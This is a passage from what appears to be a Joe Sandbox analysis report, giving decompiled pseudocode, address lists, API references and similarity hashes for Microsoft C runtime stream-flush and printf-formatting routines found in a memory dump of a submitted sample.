							 *(_t190 - 0xc) = E00433270( *(_t190 - 8),  *(_t190 - 0x10),  *((intOrPtr*)( *(_t190 - 8) + 8)),  *(_t190 - 4));
							L23:
							 *((char*)( *((intOrPtr*)( *(_t190 - 8) + 8)))) =  *(_t190 + 8);
							goto L25;
						}
					}
					if( *(_t190 - 8) == E00426790() + 0x20 ||  *(_t190 - 8) == E00426790() + 0x40) {
						_t135 =  *(_t190 - 0x10);
						_t121 = E004340A0(_t129,  *(_t190 - 0x10), _t188, _t189,  *(_t190 - 0x10));
						_t192 = _t192 + 4;
						if(_t121 != 0) {
							goto L10;
						}
						goto L9;
					} else {
						L9:
						E00433FE0(_t135,  *(_t190 - 8));
						_t192 = _t192 + 4;
						goto L10;
					}
				} else {
					 *( *(_t190 - 8) + 4) = 0;
					if(( *( *(_t190 - 8) + 0xc) & 0x00000010) == 0) {
						_t126 =  *(_t190 - 8);
						 *( *(_t190 - 8) + 0xc) =  *(_t126 + 0xc) | 0x00000020;
						_t102 = _t126 | 0xffffffff;
						L28:
						return _t102;
					}
					 *( *(_t190 - 8)) =  *((intOrPtr*)( *(_t190 - 8) + 8));
					 *( *(_t190 - 8) + 0xc) =  *( *(_t190 - 8) + 0xc) & 0xfffffffe;
					goto L5;
				}
			}

0x00426b09
0x00426b53
0x00426b5f
0x00426b6e
0x00426b74
0x00426b7b
0x00426b82
0x00426b85
0x00426b93
0x00426bcb
0x00426bd7
0x00426cd6
0x00426cf1
0x00426cf4
0x00426cfa
0x00426d13
0x00426cfc
0x00426d02
0x00426d08
0x00426d0b
0x00426d0b
0x00000000
0x00426cfa
0x00426be8
0x00426bea
0x00426bef
0x00426bf1
0x00426bf6
0x00426bfb
0x00426bfd
0x00426c02
0x00426c08
0x00426c0a
0x00426c0a
0x00426c08
0x00426c16
0x00426c25
0x00426c33
0x00426c3a
0x00426c5c
0x00426c7f
0x00426c64
0x00426c7a
0x00426c7a
0x00426c89
0x00426c8d
0x00426c90
0x00000000
0x00426c92
0x00426c98
0x00426ca4
0x00426ca7
0x00426cb3
0x00000000
0x00000000
0x00426cbe
0x00426cc1
0x00426cc4
0x00000000
0x00426cc4
0x00426c3c
0x00426c53
0x00426cc9
0x00426cd2
0x00000000
0x00426cd2
0x00426c3a
0x00426ba0
0x00426baf
0x00426bb3
0x00426bb8
0x00426bbd
0x00000000
0x00000000
0x00000000
0x00426bbf
0x00426bbf
0x00426bc3
0x00426bc8
0x00000000
0x00426bc8
0x00426b0b
0x00426b0e
0x00426b1e
0x00426b3c
0x00426b48
0x00426b4b
0x00426d18
0x00426d1b
0x00426d1b
0x00426b29
0x00426b37
0x00000000
0x00426b37

APIs

__isatty.LIBCMTD ref: 00426BB3
__getbuf.LIBCMTD ref: 00426BC3
__write.LIBCMTD ref: 00426C4B

Strings

("inconsistent IOB fields", stream->_ptr - stream->_base >= 0), xrefs: 00426BEA
f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c, xrefs: 00426BF6

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: __getbuf__isatty__write
String ID: ("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)$f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c
API String ID: 2861569966-4070537404
Opcode ID: adf69601c399d2a632bfafd369e525375ffb1db9483f95ff324f6b0eb90e42c7
Instruction ID: 7d5bc320aae962d42a119da66d3e2b078188f028d1a85d0a4bf6dd3210ae89e8
Opcode Fuzzy Hash: adf69601c399d2a632bfafd369e525375ffb1db9483f95ff324f6b0eb90e42c7
Instruction Fuzzy Hash: 00510A74B00218EFCB04DF95D491AADFBB2FF88324F65C299D445AB381D635AA81CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00435214, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E00435214(void* __ebx, void* __edi, void* __esi) {
				signed int _t499;
				void* _t504;
				signed int _t506;
				void* _t526;
				void* _t528;
				signed int _t536;
				void* _t555;
				void* _t556;
				signed int _t557;
				void* _t559;

				L0:
				while(1) {
					L0:
					_t556 = __esi;
					_t555 = __edi;
					_t528 = __ebx;
					 *(_t557 - 0x30) = 8;
					while(1) {
						L146:
						 *(__ebp - 0x260) = 7;
						while(1) {
							L148:
							 *(__ebp - 8) = 0x10;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
							__eflags =  *(__ebp - 0x10) & 0x00000080;
							if(( *(__ebp - 0x10) & 0x00000080) != 0) {
								 *(__ebp - 0x14) = 0x30;
								 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
								__eflags =  *(__ebp - 0x260) + 0x51;
								 *((char*)(__ebp - 0x13)) = __al;
								 *(__ebp - 0x1c) = 2;
							}
							while(1) {
								L153:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
										__eflags =  *(__ebp - 0x10) & 0x00000020;
										if(( *(__ebp - 0x10) & 0x00000020) == 0) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												__eax = E004285E0(__ebp + 0x14);
												__edx = 0;
												__eflags = 0;
												 *(__ebp - 0x2b8) = __eax;
												 *(__ebp - 0x2b4) = 0;
											} else {
												__eax = __ebp + 0x14;
												__eax = E004285E0(__ebp + 0x14);
												asm("cdq");
												 *(__ebp - 0x2b8) = __eax;
												 *(__ebp - 0x2b4) = __edx;
											}
										} else {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												E004285E0(__ebp + 0x14) = __ax & 0x0000ffff;
												asm("cdq");
												 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
												 *(__ebp - 0x2b4) = __edx;
											} else {
												__eax = __ebp + 0x14;
												__eax = E004285E0(__ebp + 0x14);
												__ax = __eax;
												asm("cdq");
												 *(__ebp - 0x2b8) = __eax;
												 *(__ebp - 0x2b4) = __edx;
											}
										}
									} else {
										__eax = __ebp + 0x14;
										 *(__ebp - 0x2b8) = E00428600(__ebp + 0x14);
										 *(__ebp - 0x2b4) = __edx;
									}
								} else {
									__ecx = __ebp + 0x14;
									 *(__ebp - 0x2b8) = E00428600(__ebp + 0x14);
									 *(__ebp - 0x2b4) = __edx;
								}
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
								__eflags =  *(__ebp - 0x10) & 0x00000040;
								if(( *(__ebp - 0x10) & 0x00000040) == 0) {
									goto L170;
								}
								L166:
								__eflags =  *(__ebp - 0x2b4);
								if(__eflags > 0) {
									goto L170;
								}
								L167:
								if(__eflags < 0) {
									L169:
									 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b8));
									__edx =  *(__ebp - 0x2b4);
									asm("adc edx, 0x0");
									__edx =  ~( *(__ebp - 0x2b4));
									 *(__ebp - 0x2c0) =  ~( *(__ebp - 0x2b8));
									 *(__ebp - 0x2bc) =  ~( *(__ebp - 0x2b4));
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									L171:
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
									__eflags =  *(__ebp - 0x10) & 0x00008000;
									if(( *(__ebp - 0x10) & 0x00008000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
										__eflags =  *(__ebp - 0x10) & 0x00001000;
										if(( *(__ebp - 0x10) & 0x00001000) == 0) {
											__edx =  *(__ebp - 0x2c0);
											__eax =  *(__ebp - 0x2bc);
											__eax =  *(__ebp - 0x2bc) & 0x00000000;
											__eflags = __eax;
											 *(__ebp - 0x2bc) = __eax;
										}
									}
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) >= 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										__eflags =  *(__ebp - 0x30) - 0x200;
										if( *(__ebp - 0x30) > 0x200) {
											 *(__ebp - 0x30) = 0x200;
										}
									} else {
										 *(__ebp - 0x30) = 1;
									}
									 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
									__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
									if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
										 *(__ebp - 0x1c) = 0;
									}
									__eax = __ebp - 0x49;
									 *(__ebp - 4) = __ebp - 0x49;
									while(1) {
										L181:
										__ecx =  *(__ebp - 0x30);
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L183;
										}
										L182:
										 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
										__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
										if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
											L186:
											__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
											 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
											__ecx =  *(__ebp - 4);
											__ecx =  *(__ebp - 4) + 1;
											 *(__ebp - 4) = __ecx;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
											__eflags =  *(__ebp - 0x10) & 0x00000200;
											if(( *(__ebp - 0x10) & 0x00000200) == 0) {
												while(1) {
													L190:
													__eflags =  *(__ebp - 0x28);
													if( *(__ebp - 0x28) != 0) {
														goto L216;
													}
													L191:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
														__eflags =  *(__ebp - 0x10) & 0x00000100;
														if(( *(__ebp - 0x10) & 0x00000100) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
															__eflags =  *(__ebp - 0x10) & 0x00000001;
															if(( *(__ebp - 0x10) & 0x00000001) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
																__eflags =  *(__ebp - 0x10) & 0x00000002;
																if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																	 *(__ebp - 0x14) = 0x20;
																	 *(__ebp - 0x1c) = 1;
																}
															} else {
																 *(__ebp - 0x14) = 0x2b;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															 *(__ebp - 0x14) = 0x2d;
															 *(__ebp - 0x1c) = 1;
														}
													}
													 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x2c4) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
													__eflags =  *(__ebp - 0x10) & 0x0000000c;
													if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
														__edx = __ebp - 0x24c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x2c4);
														__eax = E004285A0(0x20,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
													}
													__edx = __ebp - 0x24c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x1c);
													__edx = __ebp - 0x14;
													E004358F0( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x24c) =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) & 0x00000008;
													__eflags =  *(__ebp - 0x10) & 0x00000008;
													if(( *(__ebp - 0x10) & 0x00000008) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) == 0) {
															__edx = __ebp - 0x24c;
															__eax =  *(__ebp + 8);
															__ecx =  *(__ebp - 0x2c4);
															__eax = E004285A0(0x30,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
														}
													}
													__eflags =  *(__ebp - 0xc);
													if( *(__ebp - 0xc) == 0) {
														L212:
														__ecx = __ebp - 0x24c;
														__edx =  *(__ebp + 8);
														__eax =  *(__ebp - 0x24);
														__ecx =  *(__ebp - 4);
														__eax = E004358F0(__ecx, __ecx,  *(__ebp - 0x24),  *(__ebp + 8), __ebp - 0x24c);
														goto L213;
													} else {
														L204:
														__eflags =  *(__ebp - 0x24);
														if( *(__ebp - 0x24) <= 0) {
															goto L212;
														}
														L205:
														 *(__ebp - 0x2dc) = 0;
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x2c8) =  *(__ebp - 4);
														__eax =  *(__ebp - 0x24);
														 *(__ebp - 0x2cc) =  *(__ebp - 0x24);
														while(1) {
															L206:
															__ecx =  *(__ebp - 0x2cc);
															 *(__ebp - 0x2cc) =  *(__ebp - 0x2cc) - 1;
															 *(__ebp - 0x2cc) =  *(__ebp - 0x2cc) - 1;
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L207:
															__eax =  *(__ebp - 0x2c8);
															 *(__ebp - 0x32e) =  *( *(__ebp - 0x2c8));
															__edx =  *(__ebp - 0x32e) & 0x0000ffff;
															__eax = __ebp - 0x2d8;
															__ecx = __ebp - 0x2d0;
															 *(__ebp - 0x2dc) = E004344A0(__ebp - 0x2d0, __ebp - 0x2d8, 6,  *(__ebp - 0x32e) & 0x0000ffff);
															 *(__ebp - 0x2c8) =  *(__ebp - 0x2c8) + 2;
															 *(__ebp - 0x2c8) =  *(__ebp - 0x2c8) + 2;
															__eflags =  *(__ebp - 0x2dc);
															if( *(__ebp - 0x2dc) != 0) {
																L209:
																 *(__ebp - 0x24c) = 0xffffffff;
																break;
															}
															L208:
															__eflags =  *(__ebp - 0x2d0);
															if( *(__ebp - 0x2d0) != 0) {
																L210:
																__eax = __ebp - 0x24c;
																__ecx =  *(__ebp + 8);
																__edx =  *(__ebp - 0x2d0);
																__ebp - 0x2d8 = E004358F0( *(__ebp + 8), __ebp - 0x2d8,  *(__ebp - 0x2d0),  *(__ebp + 8), __ebp - 0x24c);
																continue;
															}
															goto L209;
														}
														L211:
														L213:
														__eflags =  *(__ebp - 0x24c);
														if( *(__ebp - 0x24c) >= 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
															__eflags =  *(__ebp - 0x10) & 0x00000004;
															if(( *(__ebp - 0x10) & 0x00000004) != 0) {
																__eax = __ebp - 0x24c;
																__ecx =  *(__ebp + 8);
																__edx =  *(__ebp - 0x2c4);
																__eax = E004285A0(0x20,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
															}
														}
													}
													L216:
													__eflags =  *(__ebp - 0x20);
													if( *(__ebp - 0x20) != 0) {
														 *(__ebp - 0x20) = L0041C6E0( *(__ebp - 0x20), 2);
														 *(__ebp - 0x20) = 0;
													}
													while(1) {
														L218:
														 *(_t557 - 0x251) =  *( *(_t557 + 0xc));
														_t547 =  *(_t557 - 0x251);
														 *(_t557 + 0xc) =  *(_t557 + 0xc) + 1;
														if( *(_t557 - 0x251) == 0 ||  *(_t557 - 0x24c) < 0) {
															break;
														} else {
															if( *(_t557 - 0x251) < 0x20 ||  *(_t557 - 0x251) > 0x78) {
																 *(_t557 - 0x310) = 0;
															} else {
																 *(_t557 - 0x310) =  *( *(_t557 - 0x251) +  &M00407E18) & 0xf;
															}
														}
														L7:
														 *(_t557 - 0x250) =  *(_t557 - 0x310);
														_t506 =  *(_t557 - 0x250) * 9;
														_t536 =  *(_t557 - 0x25c);
														_t547 = ( *(_t506 + _t536 + 0x407e38) & 0x000000ff) >> 4;
														 *(_t557 - 0x25c) = ( *(_t506 + _t536 + 0x407e38) & 0x000000ff) >> 4;
														if( *(_t557 - 0x25c) != 8) {
															L16:
															 *(_t557 - 0x318) =  *(_t557 - 0x25c);
															__eflags =  *(_t557 - 0x318) - 7;
															if( *(_t557 - 0x318) > 7) {
																continue;
															}
															L17:
															switch( *((intOrPtr*)( *(_t557 - 0x318) * 4 +  &M004357E0))) {
																case 0:
																	L18:
																	 *(_t557 - 0xc) = 0;
																	_t509 = E00431490( *(_t557 - 0x251) & 0x000000ff, E0041AFF0(_t557 - 0x40));
																	_t562 = _t559 + 8;
																	__eflags = _t509;
																	if(_t509 == 0) {
																		L24:
																		E00428500( *(_t557 - 0x251) & 0x000000ff,  *(_t557 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t557 + 8)), _t557 - 0x24c);
																		_t559 = _t562 + 0xc;
																		goto L218;
																	} else {
																		E00428500( *((intOrPtr*)(_t557 + 8)),  *(_t557 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t557 + 8)), _t557 - 0x24c);
																		_t562 = _t562 + 0xc;
																		_t541 =  *( *(_t557 + 0xc));
																		 *(_t557 - 0x251) =  *( *(_t557 + 0xc));
																		_t547 =  *(_t557 + 0xc) + 1;
																		__eflags = _t547;
																		 *(_t557 + 0xc) = _t547;
																		asm("sbb eax, eax");
																		 *(_t557 - 0x27c) =  ~( ~( *(_t557 - 0x251)));
																		if(_t547 == 0) {
																			_push(L"(ch != _T(\'\\0\'))");
																			_push(0);
																			_push(0x486);
																			_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																			_push(2);
																			_t521 = L0041E520();
																			_t562 = _t562 + 0x14;
																			__eflags = _t521 - 1;
																			if(_t521 == 1) {
																				asm("int3");
																			}
																		}
																		L22:
																		__eflags =  *(_t557 - 0x27c);
																		if( *(_t557 - 0x27c) != 0) {
																			goto L24;
																		} else {
																			 *((intOrPtr*)(L00423010(_t541))) = 0x16;
																			E00422DA0(_t528, _t541, _t555, _t556, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																			 *(_t557 - 0x2f4) = 0xffffffff;
																			E0041AFC0(_t557 - 0x40);
																			_t499 =  *(_t557 - 0x2f4);
																			goto L229;
																		}
																	}
																case 1:
																	L25:
																	 *(__ebp - 0x2c) = 0;
																	__edx =  *(__ebp - 0x2c);
																	 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																	__eax =  *(__ebp - 0x28);
																	 *(__ebp - 0x18) =  *(__ebp - 0x28);
																	__ecx =  *(__ebp - 0x18);
																	 *(__ebp - 0x1c) = __ecx;
																	 *(__ebp - 0x10) = 0;
																	 *(__ebp - 0x30) = 0xffffffff;
																	 *(__ebp - 0xc) = 0;
																	goto L218;
																case 2:
																	L26:
																	__edx =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																	 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																	__eflags =  *(__ebp - 0x31c) - 0x10;
																	if( *(__ebp - 0x31c) > 0x10) {
																		goto L33;
																	}
																	L27:
																	__ecx =  *(__ebp - 0x31c);
																	_t72 = __ecx + 0x435818; // 0x498d04
																	__edx =  *_t72 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t72 & 0x000000ff) * 4 +  &M00435800))) {
																		case 0:
																			goto L30;
																		case 1:
																			goto L31;
																		case 2:
																			goto L29;
																		case 3:
																			goto L28;
																		case 4:
																			goto L32;
																		case 5:
																			goto L33;
																	}
																case 3:
																	L34:
																	__edx =  *((char*)(__ebp - 0x251));
																	__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																	if( *((char*)(__ebp - 0x251)) != 0x2a) {
																		__eax =  *(__ebp - 0x18);
																		__eax =  *(__ebp - 0x18) * 0xa;
																		__eflags = __eax;
																		__ecx =  *((char*)(__ebp - 0x251));
																		_t96 = __ecx - 0x30; // -48
																		__edx = __eax + _t96;
																		 *(__ebp - 0x18) = __eax + _t96;
																	} else {
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x18) = E004285E0(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x18);
																		if( *(__ebp - 0x18) < 0) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000004;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																			 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																			 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																		}
																	}
																	goto L218;
																case 4:
																	L40:
																	 *(__ebp - 0x30) = 0;
																	goto L218;
																case 5:
																	L41:
																	__eax =  *((char*)(__ebp - 0x251));
																	__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																	if( *((char*)(__ebp - 0x251)) != 0x2a) {
																		__edx =  *(__ebp - 0x30);
																		__edx =  *(__ebp - 0x30) * 0xa;
																		__eflags = __edx;
																		_t107 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																		__ecx = __edx + _t107;
																		 *(__ebp - 0x30) = __ecx;
																	} else {
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 0x30) = E004285E0(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) < 0) {
																			 *(__ebp - 0x30) = 0xffffffff;
																		}
																	}
																	goto L218;
																case 6:
																	L47:
																	__edx =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																	 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																	__eflags =  *(__ebp - 0x320) - 0x2e;
																	if( *(__ebp - 0x320) > 0x2e) {
																		L70:
																		goto L218;
																	}
																	L48:
																	__ecx =  *(__ebp - 0x320);
																	_t115 = __ecx + 0x435840; // 0x504e9003
																	__edx =  *_t115 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t115 & 0x000000ff) * 4 +  &M0043582C))) {
																		case 0:
																			L53:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x36;
																			if( *( *(__ebp + 0xc)) != 0x36) {
																				L56:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x33;
																				if( *( *(__ebp + 0xc)) != 0x33) {
																					L59:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc));
																					__eflags =  *( *(__ebp + 0xc)) - 0x64;
																					if( *( *(__ebp + 0xc)) == 0x64) {
																						L65:
																						L67:
																						goto L70;
																					}
																					L60:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx;
																					__eflags =  *__ecx - 0x69;
																					if( *__ecx == 0x69) {
																						goto L65;
																					}
																					L61:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc));
																					__eflags = __ecx - 0x6f;
																					if(__ecx == 0x6f) {
																						goto L65;
																					}
																					L62:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc));
																					__eflags =  *( *(__ebp + 0xc)) - 0x75;
																					if( *( *(__ebp + 0xc)) == 0x75) {
																						goto L65;
																					}
																					L63:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx;
																					__eflags =  *__ecx - 0x78;
																					if( *__ecx == 0x78) {
																						goto L65;
																					}
																					L64:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc));
																					__eflags = __ecx - 0x58;
																					if(__ecx != 0x58) {
																						 *(__ebp - 0x25c) = 0;
																						goto L18;
																					}
																					goto L65;
																				}
																				L57:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *((char*)(__ecx + 1));
																				__eflags =  *((char*)(__ecx + 1)) - 0x32;
																				if( *((char*)(__ecx + 1)) != 0x32) {
																					goto L59;
																				} else {
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																					__ecx =  *(__ebp - 0x10);
																					__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																					 *(__ebp - 0x10) = __ecx;
																					goto L67;
																				}
																			}
																			L54:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *((char*)(__ecx + 1));
																			__eflags =  *((char*)(__ecx + 1)) - 0x34;
																			if( *((char*)(__ecx + 1)) != 0x34) {
																				goto L56;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) | 0x00008000;
																				 *(__ebp - 0x10) = __ecx;
																				goto L67;
																			}
																		case 1:
																			L68:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			goto L70;
																		case 2:
																			L49:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x6c;
																			if(__ecx != 0x6c) {
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) | 0x00000010;
																				__eflags = __ecx;
																				 *(__ebp - 0x10) = __ecx;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			}
																			goto L70;
																		case 3:
																			L69:
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																			goto L70;
																		case 4:
																			goto L70;
																	}
																case 7:
																	L71:
																	__ecx =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x324) = __ecx;
																	 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
																	 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
																	__eflags =  *(__ebp - 0x324) - 0x37;
																	if( *(__ebp - 0x324) > 0x37) {
																		while(1) {
																			L190:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																	}
																	L72:
																	_t156 =  *(__ebp - 0x324) + 0x4358ac; // 0xcccccc0d
																	__ecx =  *_t156 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M00435870))) {
																		case 0:
																			L123:
																			 *(__ebp - 0x2c) = 1;
																			__ecx =  *((char*)(__ebp - 0x251));
																			__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																			__eflags = __ecx;
																			 *((char*)(__ebp - 0x251)) = __cl;
																			goto L124;
																		case 1:
																			L73:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__eax =  *(__ebp - 0x10);
																				__eax =  *(__ebp - 0x10) | 0x00000800;
																				__eflags = __eax;
																				 *(__ebp - 0x10) = __eax;
																			}
																			goto L75;
																		case 2:
																			L88:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) | 0x00000800;
																				__eflags = __ecx;
																				 *(__ebp - 0x10) = __ecx;
																			}
																			goto L90;
																		case 3:
																			L146:
																			 *(__ebp - 0x260) = 7;
																			goto L148;
																		case 4:
																			L81:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x288) = E004285E0(__ebp + 0x14);
																			__eflags =  *(__ebp - 0x288);
																			if( *(__ebp - 0x288) == 0) {
																				L83:
																				__edx =  *0x440f80; // 0x404478
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DFC0( *(__ebp - 4));
																				L87:
																				goto L190;
																			}
																			L82:
																			__ecx =  *(__ebp - 0x288);
																			__eflags =  *(__ecx + 4);
																			if( *(__ecx + 4) != 0) {
																				L84:
